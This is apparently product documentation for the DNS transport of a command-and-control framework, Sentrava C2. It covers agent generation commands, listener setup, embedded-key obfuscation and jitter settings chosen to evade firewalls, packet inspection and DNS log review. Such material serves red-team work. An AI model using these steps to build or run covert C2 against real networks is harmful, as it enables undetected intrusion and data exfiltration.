SENTRAVA C2
MVP / Linux + Windows

DNS Transport

The DNS transport tunnels C2 traffic through DNS TXT record queries. The agent encodes its beacon data as Base64 chunks in DNS TXT lookups; responses carry AES-256-GCM encrypted server replies. DNS egress is rarely blocked and almost never inspected for payload content, making this the most covert transport option.

Covert by design.

DNS egress is permitted in almost every network — firewalls allow port 53 UDP/TCP, and TXT record payloads are rarely subject to DPI. The transport uses jitter and low query rates to blend with legitimate resolver traffic.

How it works

  1. At generate time a random 32-byte AES-256-GCM key and a DNS zone (subdomain prefix) are embedded in the agent via ldflags.
  2. The teamserver runs a DNS listener on UDP/TCP port 53 for the configured zone.
  3. The agent encodes each outbound message as Base64 chunks and issues a sequence of TXT queries against the configured zone.
  4. Replies are encoded as TXT record values and decrypted with the shared AES-256-GCM key.
  5. Jitter is applied between queries to mimic realistic resolver patterns.

Start a listener

sh
# DNS listener on default port 53
sentrava > listeners start dns <host>:53 <zone>

# Example: bind to 0.0.0.0, serve zone "c2.ops.local"
sentrava > listeners start dns 0.0.0.0:53 c2.ops.local

The server resolves TXT queries for <label>.<zone> and responds with encrypted payload chunks.

Generate an agent

sh
# Linux DNS transport
sentrava > generate --transport dns --listener c2.ops.local --listener-port 53

# Windows DNS transport with full OPSEC
sentrava > generate --transport dns --os windows --opsec full --listener c2.ops.local

Embedded credentials

Ldflag variable Value Encoding
embeddedSharedKey AES-256-GCM key 64-char hex string
embeddedDNSZone DNS zone / resolver address XOR ciphertext + key (hex)
embeddedAgentID Agent UUID XOR ciphertext + key (hex)
embeddedOperationID Operation UUID XOR ciphertext + key (hex)

Jitter and timing

The DNS transport respects the --sleep and --jitter generate flags. In addition it enforces a minimum inter-query delay to prevent high-frequency TXT lookups that would stand out in DNS logs.

sh
# 60s beacon, 20% jitter — DNS traffic every ~48–72 seconds
sentrava > generate --transport dns --sleep 60s --jitter 20 --listener c2.ops.local

Platform support

Platform Status Notes
Linux/amd64 Supported All capabilities
Windows/amd64 Supported Beacon mode only; interactive shell not available

Differences from other transports

Feature mTLS TCP HTTP DNS
Authentication Mutual TLS certificates Shared key Shared key Shared key
Encryption TLS 1.3 AES-256-GCM AES-256-GCM AES-256-GCM
Port 4433 Custom 80/443/Custom 53 UDP/TCP
Firewall evasion Low Low Medium High
Bandwidth High High Medium Very low
Interactive shell Linux only No No No

Operational notes